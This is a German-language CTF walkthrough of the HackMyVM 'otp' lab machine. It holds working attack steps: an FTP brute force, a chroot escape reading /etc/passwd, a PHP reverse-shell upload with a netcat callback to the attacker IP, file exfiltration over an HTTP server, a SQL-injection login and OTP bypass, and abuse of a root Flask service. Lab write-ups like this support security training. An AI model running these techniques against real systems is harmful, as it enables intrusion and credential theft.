192.168.2.133 54:6c:eb:05:3c:32 PCS Systemtechnik GmbH
Analyse:** Der Befehl `arp-scan -l` wird ausgeführt, um das lokale Netzwerksegment mittels ARP-Anfragen nach aktiven Geräten zu durchsuchen.
**Bewertung:** Ein Host mit der IP-Adresse `192.168.2.133` wird identifiziert. Die MAC-Adresse deutet auf eine VirtualBox-VM hin.
**Empfehlung (Pentester):** Ziel-IP `192.168.2.133` notieren und Nmap-Scan durchführen.
**Empfehlung (Admin):** Standard-Netzwerkaufklärung. Fokus auf Dienstabsicherung.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-12 10:31 CEST Nmap scan report for opp.vm (192.168.2.133) Host is up (0.0074s latency). Not shown: 65527 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? <-- SMB 2701/tcp open cmrcservice Microsoft Configuration Manager Remote Control service (CmRcService.exe) <-- SCCM Remote Control 5938/tcp open teamviewer? <-- TeamViewer? 21112/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Site doesn't have a title (text/plain). 49672/tcp open msrpc Microsoft Windows RPC 61116/tcp open unknown | fingerprint-strings: [...] |_ Server: Hosted Agent HTTP Server <-- Unbekannter HTTP-Server [...] (Fingerprint & OS Guessing - deutet stark auf Windows hin) Host script results: | smb2-time: | date: 2022-10-12T08:34:21 |_ start_date: N/A |_nbstat: NetBIOS name: HTSG-3B13VQ3, NetBIOS user:, NetBIOS MAC: 54:6c:eb:05:3c:32 (unknown) | smb2-security-mode: | 3.1.1: |_ Message signing enabled but not required TRACEROUTE HOP RTT ADDRESS 1 7.36 ms opp.vm (192.168.2.133)
**Analyse:** Ein umfassender Nmap-Scan wird auf `192.168.2.133` durchgeführt (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-p-`).
**Bewertung:** Der Scan enthüllt eine Reihe von offenen Ports, die stark auf ein **Windows-System** hindeuten: * **135, 139, 445:** Standardports für MSRPC, NetBIOS und SMB. SMB ist ein Hauptangriffsvektor in Windows-Umgebungen. * **2701:** Microsoft Configuration Manager Remote Control Service (SCCM). * **5938:** Möglicherweise TeamViewer. * **21112:** Microsoft HTTPAPI-basierter Webserver (oft für Gerätedienste oder UPnP). * **49672:** Weiterer MSRPC-Port. * **61116:** Ein unbekannter Dienst, der sich als "Hosted Agent HTTP Server" ausgibt und einen 401 Unauthorized zurückgibt. Die OS-Erkennung und SMB-Informationen bestätigen die Windows-Vermutung. Die große Anzahl gefilterter Ports könnte auf eine Firewall hindeuten.
**Empfehlung (Pentester):**
1. **SMB (Priorität 1):** Enumerieren Sie SMB intensiv: `smbclient -L //192.168.2.133`, `enum4linux-ng 192.168.2.133 -A`. Prüfen Sie auf Null Sessions und offene Shares.
2. **HTTP (Ports 21112, 61116):** Untersuchen Sie die Webdienste genauer (Verzeichnisse, bekannte Schwachstellen). Für Port 61116: Versuchen Sie Standard-Credentials für Basic Auth.
3. **SCCM/TeamViewer:** Recherchieren Sie nach bekannten Schwachstellen für diese Dienste.
4. **MSRPC:** Enumerieren Sie RPC-Endpunkte (`rpcclient`, `rpcdump`).
**Empfehlung (Admin):** Härten Sie die SMB-Konfiguration (Gastzugriff deaktivieren, Shares absichern, Signing erzwingen). Firewall nicht benötigte Ports (insbesondere RPC, SCCM, TeamViewer, wenn nicht extern benötigt). Patchen Sie das Windows-System und alle laufenden Dienste. Identifizieren und sichern Sie den Dienst auf Port 61116.
**Analyse der weiteren Logs:** Die nachfolgenden Logs zeigen, dass der Pentester die IP-Adresse wechselt und sich auf ein anderes Ziel (`192.168.2.144`) konzentriert. Der Nmap-Scan auf `.133` scheint eine Sackgasse gewesen zu sein oder das Ziel war falsch identifiziert.
**Bewertung:** Die Erkenntnisse aus dem Nmap-Scan auf `.133` sind für den weiteren Verlauf des Berichts nicht relevant, da das Ziel offensichtlich `.144` ist. Es ist wichtig, solche Diskrepanzen zu erkennen und sich auf das tatsächliche Ziel zu konzentrieren.
**Analyse:** Nachdem der Fokus auf `192.168.2.144` gelegt wurde, wird dessen Webserver auf Port 80 enumeriert, beginnend mit Directory Fuzzing und VHost Discovery.
**Bewertung:** Standardmäßige Vorgehensweise zur Untersuchung von Webservern.
192.168.2.1 192.168.2.104 192.168.2.108 192.168.2.133 <-- Vorheriges Ziel --> 192.168.2.140 <-- Angreifer IP? --> 192.168.2.144 <-- Neues/Aktuelles Ziel -->
=
**Analyse:** Der Befehl `fping -ag` pingt alle Hosts im Subnetz `192.168.2.0/24` an und gibt die antwortenden IPs aus.
**Bewertung:** Bestätigt, dass sowohl das ursprüngliche Ziel (`.133`) als auch das neue Ziel (`.144`) und die Angreifer-IP (`.140`, Annahme) aktiv sind. Dies hilft, den Netzwerküberblick zu behalten.
**Empfehlung (Pentester):** Fokus auf `192.168.2.144`.
**Empfehlung (Admin):** Keine.
**Analyse:** Der Befehl `dirsearch` wird verwendet, um nach Verzeichnissen und Dateien auf dem Webserver `192.168.2.144` (Port 80) zu suchen.
**Bewertung:** Findet `/javascript` (Standard?) und `/server-status` (verboten). Keine signifikanten Funde auf der Hauptseite.
**Empfehlung (Pentester):** VHost-Enumeration versuchen, da die Hauptseite uninteressant wirkt.
**Empfehlung (Admin):** `/server-status` korrekt absichern.
[...] ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000002658: 200 626 L 1468 W 25537 Ch "argon" <-- VHost gefunden! --> [...]
=
**Analyse:** `wfuzz` wird für VHost-Enumeration auf `192.168.2.144` eingesetzt. Es verwendet eine Subdomain-Liste und manipuliert den `Host`-Header (`FUZZ.otp.hmv`). Antworten mit 11202 Zeichen (vermutlich die Größe der Standardseite) werden ignoriert (`--hh 11202`).
**Bewertung:** Erfolg! Ein virtueller Host `argon.otp.hmv` wird gefunden, der eine andere Antwortgröße (25537 Chars) liefert. Dies ist ein wichtiger Hinweis.
**Empfehlung (Pentester):** Fügen Sie `192.168.2.144 argon.otp.hmv` zur lokalen `/etc/hosts`-Datei hinzu. Untersuchen Sie `http://argon.otp.hmv` im Browser und mit Enumerationstools.
**Empfehlung (Admin):** Stellen Sie sicher, dass virtuelle Hosts korrekt konfiguriert sind.
127.0.0.1 localhost 127.0.1.1 cyber 192.168.2.144 otp.hmv argon.otp.hmv <-- Eintrag hinzugefügt -->
#
**Analyse:** Die lokale `/etc/hosts`-Datei wird angezeigt, sie enthält nun den Eintrag für `argon.otp.hmv`, der auf `192.168.2.144` zeigt.
**Bewertung:** Notwendiger Konfigurationsschritt, um auf den VHost per Namen zugreifen zu können.
**Analyse:** Untersuchung des gefundenen virtuellen Hosts `argon.otp.hmv`.
http://argon.otp.hmv :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: view-source:http://argon.otp.hmv/profile.html ::::::::::::::: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: :::::: ::: <-- Passwort im Kommentar! --> ::: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Nach dem Besuch finden Sie einige Hinweise im Quellcode der Seite profile.html, Benutzer : otpuser Passwort : #4ck!ng!s!nMybl0od versuchen Sie sich anzumelden
**Analyse:** Der virtuelle Host `argon.otp.hmv` wird aufgerufen. Im Quellcode der Seite `profile.html` wird ein HTML-Kommentar gefunden, der ein Passwort enthält: `#4ck!ng!s!nMybl0od`. Eine Notiz im Log identifiziert `otpuser` als zugehörigen Benutzernamen.
**Bewertung:** Kritisches Informationsleck! Hartkodierte Zugangsdaten (`otpuser` / `#4ck!ng!s!nMybl0od`) wurden im HTML-Quellcode gefunden.
**Empfehlung (Pentester):** Versuchen Sie, sich mit diesen Credentials am Login-Formular der Webseite (`http://argon.otp.hmv`) oder an anderen Diensten (SSH, FTP) anzumelden.
**Empfehlung (Admin):** **Niemals Passwörter oder sensible Daten im clientseitigen Code (HTML, JS, CSS) speichern!** Entfernen Sie die Credentials sofort. Implementieren Sie sichere Authentifizierungsmethoden.
http://argon.otp.hmv/cr3d5_123.html Hello david
**Analyse:** Eine weitere Seite (`cr3d5_123.html`) wird auf dem VHost gefunden (vermutlich durch Enumeration oder weil sie verlinkt war). Sie enthält den Text "Hello david".
**Bewertung:** Enthüllt einen weiteren potenziellen Benutzernamen: `david`.
**Empfehlung (Pentester):** Fügen Sie `david` zur Liste der potenziellen Benutzernamen hinzu. Versuchen Sie Brute-Force-Angriffe gegen FTP oder SSH für diesen Benutzer.
**Empfehlung (Admin):** Vermeiden Sie die Offenlegung von Benutzernamen auf Webseiten.
**Analyse:** Basierend auf dem gefundenen Benutzernamen `david` wird ein Brute-Force-Angriff gegen den FTP-Dienst gestartet. Anschließend wird die FTP-Verbindung genutzt, um Schwachstellen auszunutzen.
Hydra v9.3 [...] starting at 2022-10-12 11:13:23 [...] [21][ftp] host: 192.168.2.144 login: david password: DAVID [SUCCESS]
**Analyse:** Hydra wird verwendet, um das FTP-Passwort für den Benutzer `david` auf `192.168.2.144` zu bruteforcen.
**Bewertung:** Erfolg! Das extrem schwache Passwort `DAVID` wird gefunden.
**Empfehlung (Pentester):** Loggen Sie sich via FTP als `david`:`DAVID` ein.
**Empfehlung (Admin):** Starke Passwörter erzwingen. Fail2Ban für FTP.
Connected to 192.168.2.144. 220 (vsFTPd 3.0.3) Name (192.168.2.144:root): david 331 Please specify the password. Password: DAVID 230 Login successful. [...] ftp> ls -rw-r--r-- 1 1001 1001 125 Nov 19 2021 important_note.txt [...] ftp> get important_note.txt [...] 226 Transfer complete.
**Analyse:** Erfolgreicher FTP-Login als `david`:`DAVID`. Eine Datei `important_note.txt` wird gefunden und heruntergeladen.
**Bewertung:** FTP-Zugang als `david` bestätigt.
"Many times, the idea we come up with is not to fit for the current times but if launched at the right time can do wonders."
=
**Analyse:** Inhalt der heruntergeladenen Notiz.
**Bewertung:** Philosophischer Text, wahrscheinlich ohne technische Relevanz (Flavor Text).
250 Directory successfully changed.
229 Entering Extended Passive Mode (|||34573|)
150 Here comes the directory listing.
drwxr-xrwx 2 0 115 4096 Nov 22 2021 ftp
226 Directory send OK.
Remote directory: /srv
<-- Außerhalb des erwarteten Verzeichnisses! -->
250 Directory successfully changed.
local: passwd remote: passwd [...] 150 Opening BINARY mode data connection for passwd (1594 bytes). [...] 226 Transfer complete. 1594 bytes received in 00:00 (6.69 MiB/s)
-------------------------------------------------------------------------------------
**Analyse:** Über die FTP-Verbindung wird versucht, mit `cd ..` eine Verzeichnisebene nach oben zu wechseln. Dies gelingt überraschenderweise, und `pwd` zeigt `/srv` als aktuelles Verzeichnis an, obwohl das Home-Verzeichnis für `david` wahrscheinlich `/srv/ftp` sein sollte. Anschließend wird erfolgreich nach `/etc` gewechselt und die `/etc/passwd`-Datei heruntergeladen.
**Bewertung:** Eine schwerwiegende Fehlkonfiguration des vsftpd-Servers! Der Benutzer `david` ist nicht in seinem Home-Verzeichnis eingesperrt (kein chroot jail). Dies ermöglicht LFI (Local File Inclusion) und das Herunterladen sensibler Systemdateien über FTP.
**Empfehlung (Pentester):** Nutzen Sie diese Schwachstelle, um weitere sensible Dateien herunterzuladen (`/etc/shadow`, Konfigurationsdateien, SSH-Schlüssel, Webserver-Dateien). Suchen Sie nach schreibbaren Verzeichnissen im Web-Root.
**Empfehlung (Admin):** **Konfigurieren Sie vsftpd dringend neu!** Aktivieren Sie `chroot_local_user=YES` in `vsftpd.conf`, um Benutzer in ihre Home-Verzeichnisse einzusperren. Überprüfen Sie die Berechtigungen.
root:x:0:0:root:/root:/bin/bash avijneyam:x:1000:1000:Avijneyam,,,:/home/avijneyam:/bin/bash david:x:1001:1001::/srv/ftp:/bin/bash
**Analyse:** Die heruntergeladene `passwd`-Datei wird analysiert.
**Bewertung:** Bestätigt die Benutzer `root`, `avijneyam` und `david` mit `/bin/bash` als Shell. Das Home-Verzeichnis für `david` ist tatsächlich `/srv/ftp`.
250 Directory successfully changed.
[...] drwxrwxrwx 2 0 1001 4096 Nov 23 2021 u9l04d_ <-- Schreibbares Verzeichnis! --> 226 Directory send K.
Im Verzeichnis /var/www/otp/argon wird festgestellt, dass das Verzeichnis
u9l04d_ über Lese- und Schreibberechtigungen verfügt. Laden Sie ein rev-Shell
in das Verzeichnis hoch und führen Sie es aus.
=
**Analyse:** Über die fehlkonfigurierte FTP-Verbindung wird zum Web-Root des `argon.otp.hmv`-VHosts (`/var/www/otp/argon`) navigiert. Dort wird ein Verzeichnis `u9l04d_` gefunden, das für alle Benutzer schreibbar ist (`drwxrwxrwx`).
**Bewertung:** Eine weitere kritische Fehlkonfiguration. Ein für alle schreibbares Verzeichnis innerhalb eines Web-Roots erlaubt es jedem (einschließlich des FTP-Benutzers `david` und des Webserver-Benutzers `www-data`), Dateien hochzuladen, die dann über HTTP ausgeführt werden können (z.B. PHP-Webshells).
**Empfehlung (Pentester):** Laden Sie eine PHP-Reverse-Shell (wie `image.php`) in das Verzeichnis `/var/www/otp/argon/u9l04d_` hoch. Rufen Sie sie dann über `http://argon.otp.hmv/u9l04d_/image.php` auf.
**Empfehlung (Admin):** Korrigieren Sie die Berechtigungen für das Verzeichnis `u9l04d_`. Verzeichnisse im Web-Root sollten niemals für alle schreibbar sein. Beheben Sie die FTP-chroot-Lücke.
250 Directory successfully changed.
local: image.php remote: image.php 229 Entering Extended Passive Mode (|||59753|) 150 Ok to send data. [...] 226 Transfer complete. 5495 bytes sent in 00:00 (2.12 MiB/s)
=
**Analyse:** Die PHP-Webshell `image.php` wird über FTP in das schreibbare Verzeichnis `/var/www/otp/argon/u9l04d_` hochgeladen.
**Bewertung:** Die Webshell ist nun auf dem Server platziert und über HTTP erreichbar.
**Empfehlung (Pentester):** Listener starten und Webshell aufrufen.
**Empfehlung (Admin):** Berechtigungen korrigieren, FTP härten.
**Analyse:** Ausführung der hochgeladenen Webshell, um eine Reverse Shell zu erhalten.
listening on [any] 9001 ...
**Analyse:** Netcat-Listener wird auf Port 9001 gestartet.
**Bewertung:** Listener ist bereit.
http://argon.otp.hmv/u9l04d_/image.php
<-- URL der Webshell -->
*
**Analyse:** Notiz mit der URL zur hochgeladenen Webshell.
**Bewertung:** Zeigt die URL, die aufgerufen werden muss.
listening on [any] 9001 ... connect to [192.168.2.140] from (UNKNOWN) [192.168.2.144] 35204 <-- Verbindung erhalten! --> Linux otp 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64 GNU/Linux [...] uid=33(www-data) gid=33(www-data) groups=33(www-data) <-- Shell als www-data --> /bin/sh: 0: can't access tty; job control turned off $
**Analyse:** Der Listener empfängt die Verbindung, nachdem die Webshell-URL aufgerufen wurde. Eine einfache Shell als `www-data` wird erhalten.
**Bewertung:** Initialer Zugriff als `www-data` erfolgreich über die Kombination aus fehlkonfiguriertem FTP und schreibbarem Web-Verzeichnis.
**Empfehlung (Pentester):** Shell stabilisieren.
**Empfehlung (Admin):** Ursachen (FTP, Verzeichnisrechte) beheben.
export TERM=xterm
**Analyse:** Die Shell wird mit Python PTY Spawn stabilisiert.
**Bewertung:** Stabile Shell als `www-data` verfügbar.
**Empfehlung (Pentester):** Enumeration und Eskalation als `www-data`.
**Empfehlung (Admin):** Keine.
**Analyse:** Als `www-data` wird das System weiter enumeriert, was zur Entdeckung eines SQL-Dumps und schließlich zu SQL-Injection-Schwachstellen führt.
total 16 drwxr-xr-x 2 root root 4096 Nov 23 2021 . drwxr-xr-x 18 root root 4096 Nov 17 2021 .. -r-------- 1 www-data www-data 2022 Nov 22 2021 creds.sql <-- Interessante Datei! --> -r-------- 1 www-data www-data 36 Nov 23 2021 note4david.txt
Your work has done you can rest now
**Analyse:** Im Verzeichnis `/opt` werden zwei Dateien gefunden, die `www-data` gehören und nur vom Besitzer lesbar sind: `creds.sql` und `note4david.txt`. Die Notiz ist uninteressant.
**Bewertung:** Die Datei `creds.sql` ist hochverdächtig und enthält wahrscheinlich Zugangsdaten.
**Empfehlung (Pentester):** Lesen Sie den Inhalt von `creds.sql`. Da `www-data` der Besitzer ist, sollte dies möglich sein. Wenn nicht direkt lesbar, versuchen Sie, sie mit dem Python HTTP Server zu exfiltrieren.
**Empfehlung (Admin):** Beschränken Sie Berechtigungen im `/opt`-Verzeichnis. Speichern Sie keine SQL-Dumps mit Credentials an unsicheren Orten.
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.140 - - [12/Oct/2022 06:28:04] "GET /creds.sql HTTP/1.1" 200 -
#
http://192.168.2.144:8000/creds.sql
<-- URL zum Download -->
**Analyse:** Ein Python HTTP Server wird im `/opt`-Verzeichnis gestartet, um die `creds.sql`-Datei für den Download durch den Angreifer (von `192.168.2.140`) bereitzustellen.
**Bewertung:** Erfolgreiche Exfiltration der SQL-Datei.
**Empfehlung (Pentester):** Analysieren Sie die heruntergeladene `creds.sql`.
**Empfehlung (Admin):** Überwachen Sie verdächtige Prozesse und ausgehende Verbindungen.
-- Dumping data for table `creds`
--
LOCK TABLES `creds` WRITE;
/*!40000 ALTER TABLE `creds` DISABLE KEYS */;
INSERT INTO `creds` VALUES (1,'','','NYZXMM3SI4YG43RUI4QXMM3ZGBKXKUAK'); <-- Base32 TOTP Seed? -->
/*!40000 ALTER TABLE `creds` ENABLE KEYS */;
UNLOCK TABLES;
*
https://www.dcode.fr/identification-chiffrement
Base32: NYZXMM3SI4YG43RUI4QXMM3ZGBKXKUAK
https://emn178.github.io/online-tools/base32_decode.html
decode: n3v3rG0nn4G!v3y0UuP
**Analyse:** Der relevante Teil der `creds.sql` wird gezeigt. Sie enthält einen `INSERT`-Befehl mit einem leeren Benutzernamen, einem leeren Passwort und einem langen String im `totp`-Feld (`NYZX...UAK`). Online-Tools identifizieren diesen String als Base32-kodiert und dekodieren ihn zu `n3v3rG0nn4G!v3y0UuP`.
**Bewertung:** Der SQL-Dump enthielt keinen direkten Benutzernamen/Passwort, aber einen Base32-kodierten String, der nach dem Dekodieren wie ein Passwort aussieht (`n3v3rG0nn4G!v3y0UuP`). Es handelt sich wahrscheinlich um das Passwort für den Benutzer `avijneyam`.
**Empfehlung (Pentester):** Versuchen Sie, sich als `avijneyam` mit dem Passwort `n3v3rG0nn4G!v3y0UuP` anzumelden (z.B. via `su` aus der `www-data`-Shell oder via SSH).
**Empfehlung (Admin):** Speichern Sie sensible Daten wie TOTP-Secrets oder Passwörter (auch kodiert) nicht in leicht zugänglichen SQL-Dumps.
ServerName totp.otp.hmv DocumentRoot /var/www/otp/totp [...]
=
**Analyse:** Die Apache-Konfigurationsdatei `totp.conf` wird gefunden und gelesen.
**Bewertung:** Enthüllt einen weiteren virtuellen Host `totp.otp.hmv` mit dem Web-Root `/var/www/otp/totp`. Dies ist wahrscheinlich die Anwendung, zu der die `creds.sql`-Daten gehören.
**Empfehlung (Pentester):** Fügen Sie `totp.otp.hmv` zu `/etc/hosts` hinzu und untersuchen Sie `http://totp.otp.hmv`.
**Empfehlung (Admin):** Keine.
http://totp.otp.hmv _________________________ Username [ ' or 1=1 -- - ] <-- SQLi Bypass [_________________________] Password [ 1 ] <-- Beliebiges Passwort --> [_________________________] [ Login ] Erfolgreich umgangen, erneute Abfrage des 6-stelligen OTP http://totp.otp.hmv/otp.php _______________________ Enter 6 Digits OTP ________________________________ | | | __________________ | | | ' or 1=1 -- - | | <-- SQLi Bypass für OTP --> | |__________________| | | | | | |________________________________| -------------------------------------------------------------------------------------------------------- http://totp.otp.hmv/cr3d54695.html <-- Seite nach Bypass -->
**Analyse:** Der virtuelle Host `totp.otp.hmv` wird aufgerufen. Er präsentiert ein Login-Formular. 1. Das erste Login (Username/Password) wird mit der SQL-Injection-Payload `' or 1=1 -- -` im Benutzernamenfeld und einem beliebigen Passwort (z.B. `1`) erfolgreich umgangen. 2. Dies führt zu einer zweiten Seite (`otp.php`), die einen 6-stelligen OTP-Code verlangt. 3. Auch diese OTP-Abfrage wird mit der gleichen SQL-Injection-Payload (`' or 1=1 -- -`) im OTP-Eingabefeld umgangen. 4. Nach dem erfolgreichen doppelten Bypass wird der Benutzer auf die Seite `cr3d54695.html` weitergeleitet.
**Bewertung:** Kritische SQL-Injection-Schwachstellen sowohl in der primären Authentifizierung als auch in der OTP-Verifizierung. Dies zeigt eine grundlegend unsichere Implementierung.
**Empfehlung (Pentester):** Rufen Sie `http://totp.otp.hmv/cr3d54695.html` auf, um die nach dem Bypass enthüllten Informationen zu sehen.
**Empfehlung (Admin):** **Beheben Sie die SQL-Injection-Schwachstellen sofort!** Verwenden Sie Prepared Statements für alle Datenbankabfragen. Validieren Sie OTP-Codes serverseitig mit kryptographisch sicheren Methoden, nicht durch einfache Datenbankabfragen.
**Kurzbeschreibung:** Die Webanwendung unter `http://totp.otp.hmv` weist zwei aufeinanderfolgende SQL-Injection-Schwachstellen auf. Sowohl das initiale Login-Formular (Benutzername/Passwort) als auch das nachfolgende OTP-Eingabeformular fügen Benutzereingaben unsicher in Datenbankabfragen ein. Ein Angreifer kann dies ausnutzen, indem er eine Payload wie `' or 1=1 -- -` in das Benutzername-Feld und anschließend in das OTP-Feld eingibt. Dies umgeht beide Authentifizierungsprüfungen und gewährt Zugriff auf eine geschützte Ressource (`cr3d54695.html`), die sensible Informationen enthält.
**Voraussetzungen:** Netzwerkzugriff auf den VHost `totp.otp.hmv`.
**Schritt-für-Schritt-Anleitung:**
**Erwartetes Ergebnis:** Erfolgreiche Umgehung der Authentifizierung und Zugriff auf die geschützte Seite.
**Beweismittel:** Die Beschreibung des Bypass-Vorgangs und der Inhalt der Folgeseite.
**Risikobewertung:** Hoch. Ermöglicht unautorisierten Zugriff auf geschützte Bereiche und Informationen durch Umgehung der Authentifizierung.
**Empfehlungen:** Beheben Sie die SQL-Injection-Schwachstellen durch Verwendung von Prepared Statements und korrekte serverseitige Validierung von Logins und OTP-Codes.
avijneyam:*___Cuz_HackMyVM_iS_theRe_nly_4_y0u_:) n3v3rG0nn4G!v3y0UuP___Cuz_HackMyVM_iS_theRe_nly_4_y0u_:) n3v3rG0nn4G!v3y0UuP___Cuz_HackMyVM_iS_theRe_nly_4_y0u_:) decode *^ CelebritySoup <-- Kontext unklar -->
den soucre code der webside in eine text einlesen, mit powershell formatieren:
oder ,mit bash | sed -i 's/\\n/\n/g' |
$text = cat C:\Users\test\fuck.txt
$text = $text.Replace("\n", "`n")
$text
passwort: n3v3rG0nn4G!v3y0UuP___Cuz_HackMyVM_iS_theRe_nly_4_y0u_:) User : avijneyam
**Analyse:** Die Seite `cr3d54695.html` wird heruntergeladen (`cred.txt`). Ihr Inhalt (nach Bereinigung von Zeilenumbrüchen `\n` oder `\\n`) enthält die Zugangsdaten für den Benutzer `avijneyam`: * User: `avijneyam` * Password: `n3v3rG0nn4G!v3y0UuP___Cuz_HackMyVM_iS_theRe_nly_4_y0u_:)` Der dekodierte Base32-String war nur der erste Teil des Passworts.
**Bewertung:** Die SQLi-Umgehung hat die korrekten Credentials für `avijneyam` preisgegeben.
**Empfehlung (Pentester):** Verwenden Sie `su avijneyam` mit dem gefundenen Passwort, um den Benutzer zu wechseln.
**Empfehlung (Admin):** Beheben Sie SQLi, entfernen Sie die Credential-Seite.
Password: n3v3rG0nn4G!v3y0UuP___Cuz_HackMyVM_iS_theRe_nly_4_y0u_:)
Changing password for avijneyam. Current password: ******** New password: ******** Retype new password: ******** passwd: password updated successfully
=
**Analyse:** Der `su`-Befehl wird verwendet, um von `www-data` zu `avijneyam` zu wechseln, wobei das lange, auf der HTML-Seite gefundene Passwort verwendet wird. Der Wechsel ist erfolgreich. Anschließend wird das Passwort für `avijneyam` geändert.
**Bewertung:** Erfolgreiche Eskalation von `www-data` zu `avijneyam`.
**Empfehlung (Pentester):** User-Flag lesen, `sudo -l` ausführen.
**Empfehlung (Admin):** Keine.
flag_user.txt
2990aa5108d5803f3fdca99c277ba352
<-- User Flag -->
*
**Analyse:** Im Home-Verzeichnis von `avijneyam` wird die User-Flag (`flag_user.txt`) gefunden und ausgelesen.
**Bewertung:** User-Flag erfolgreich erhalten.
**Analyse:** Als `avijneyam` wird `sudo -l` ausgeführt, um nach Eskalationspfaden zu suchen.
[...]
User avijneyam may run the following commands on otp:
(root) PASSWD: /bin/bash /root/localhost.sh
<-- Passwort benötigt! -->
**Analyse:** `sudo -l` zeigt, dass `avijneyam` das Skript `/root/localhost.sh` als `root` ausführen darf, aber **ein Passwort erforderlich** ist (`PASSWD:`). Das zuvor geänderte Passwort (`password123`) wird benötigt.
**Bewertung:** Ein möglicher Eskalationspfad, aber das Passwort ist erforderlich.
**Empfehlung (Pentester):** Führen Sie `sudo /bin/bash /root/localhost.sh` aus und geben Sie das neue Passwort (`password123`) ein.
**Empfehlung (Admin):** Überprüfen Sie die Notwendigkeit dieser Regel. Wenn ein Skript als Root ausgeführt werden muss, stellen Sie sicher, dass das Skript selbst sicher ist.
[sudo] password for avijneyam: ******** (password123 eingegeben) * Environment: production WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead. * Debug mode: off * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit) ^Z <-- In den Hintergrund geschoben --> [1]+ Stopped sudo /bin/bash /root/localhost.sh
**Analyse:** Das Skript wird mit `sudo` ausgeführt, das Passwort wird eingegeben. Das Skript startet einen Python Flask Entwicklungsserver, der auf `127.0.0.1:5000` lauscht. Der Prozess wird mit Strg+Z in den Hintergrund geschoben.
**Bewertung:** Der Flask-Server läuft nun mit Root-Rechten auf einem lokalen Port.
**Empfehlung (Pentester):** Machen Sie den Dienst extern erreichbar (z.B. mit `socat` Port Forwarding) und untersuchen Sie ihn auf Schwachstellen.
**Empfehlung (Admin):** Vermeiden Sie das Ausführen von Webservern als Root.
[2] 222022
sudo /bin/bash /root/localhost.sh
**Analyse:** `socat` wird verwendet, um einen Listener auf Port 3333 (alle Interfaces) zu starten, der eingehende Verbindungen an `127.0.0.1:5000` (den Flask-Server) weiterleitet. Der `socat`-Prozess wird in den Hintergrund geschickt (`&`), und der Flask-Server (`fg 1`) wird wieder in den Vordergrund geholt.
**Bewertung:** Der Root-Flask-Server ist nun über `http://192.168.2.144:3333` (IP des Ziels) erreichbar.
**Empfehlung (Pentester):** Enumerieren Sie den Dienst auf Port 3333 von der Angreifer-Maschine.
**Empfehlung (Admin):** Keine.
browser aufruf: http://192.168.2.144:3333/
127.0.0.1 - - [12/Oct/2022 07:30:17] "GET / HTTP/1.1" 405 - <-- GET auf / nicht erlaubt --> 127.0.0.1 - - [12/Oct/2022 07:30:17] "GET /favicon.ico HTTP/1.1" 404 -
**Analyse:** Ein Browser-Aufruf auf die Wurzel des weitergeleiteten Ports (`http://192.168.2.144:3333/`) erzeugt einen `405 Method Not Allowed`-Fehler im Flask-Log. GET-Anfragen auf `/` sind nicht implementiert.
**Bewertung:** Die Wurzel ist nicht direkt nutzbar, es müssen spezifische Endpunkte gefunden werden.
[...] [13:33:13] 200 - 1KB - /SourceCode <-- Quellcode gefunden! -->
=
**Analyse:** `dirsearch` wird auf den weitergeleiteten Port 3333 angesetzt.
**Bewertung:** Findet den Endpunkt `/SourceCode`, der den Quellcode der Flask-Anwendung preisgibt.
**Empfehlung (Pentester):** Rufen Sie `/SourceCode` auf und analysieren Sie den Code.
**Empfehlung (Admin):** Entfernen Sie Endpunkte, die den Quellcode preisgeben, aus Produktivumgebungen.
ZnJvbSBzdWJwcm9jZXNzIGltcG9ydCBQb3BlbiwgVGltZW91dEV4cGlyZWQsIFBJUEUKZnJvbSBmbGFzayBpbXBvcnQgRmxhc2ssIGpzb25pZnksIGFib3J0LCByZXF1ZXN0CgphcHAgPSBGbGFzayhfX25hbWVfXykKCkBhcHAucm91dGUoIi8iLCBtZXRob2RzPVsiIl0pCmRlZiBpbmRleCgpgogICAgcmVxX2pzb24gPSByZXF1ZXN0LmdldF9qc29uKCkKICAgIGlmIHJlcV9qc29uIGlzIE5vbmUgb3IgIiIgbm90IGluIHJlcV9qc29uCiAgICAgICAgYWJvcnQoNDAwLCBkZXNjcmlwdGlvbj0iUGxlYXNlIHByb3ZpZGUgY29tbWFuZCBpbiBKU09OiByZXF1ZXN0ISIpCiAgICBwcm9jID0gUG9wZW4ocmVxX2pzb25bIiJdLCBzdGRvdXQ9UElQRSwgc3RkZXJyPVBJUEUsIHNoZWxsPVRydWUpCiAgICB0cnk6CiAgICAgICAgb3V0cywgZXJycyA9IHByb2MuY29tbXVuaWNhdGUodGltZW91dD0xKQogICAgZXhjZXB0IFRpbWVvdXRFeHBpcmVkgogICAgICAgIHByb2Mua2lsbCgpCiAgICAgICAgYWJvcnQoNTAwLCBkZXNjcmlwdGlvbj0iVGhlIHRpbWVvdXQgaXMgZXhwaXJlZCEiKQogICAgaWYgZXJyczoKICAgICAgICBhYm9ydCg1MDAsIGRlc2NyaXB0aW9uPWVycnMuZGVjb2RlKCd1dGYtCcpKQogICAgcmV0dXJuIGpzb25pZnkoc3VjY2Vzcz1UcnVlLCBtZXNzYWdlPW91dHMuZGVjb2RlKCd1dGYtCcpKQoKQGFwcC5lcnJvcmhhbmRsZXIoNDAwKQpkZWYgYmFkX3JlcXVlc3QoZXJyb3IpgogICAgcmV0dXJuIGpzb25pZnkoc3VjY2Vzcz1GYWxzZSwgbWVzc2FnZT1lcnJvci5kZXNjcmlwdGlvbiksIDQwMAoKQGFwcC5lcnJvcmhhbmRsZXIoNTAwKQpkZWYgc2VydmVyX2Vycm9yKGVycm9yKToKICAgIHJldHVybiBqc29uaWZ5KHN1Y2Nlc3M9RmFsc2UsIG1lc3NhZ2U9ZXJyb3IuZGVzY3JpcHRpb24pICwgNTAw
=
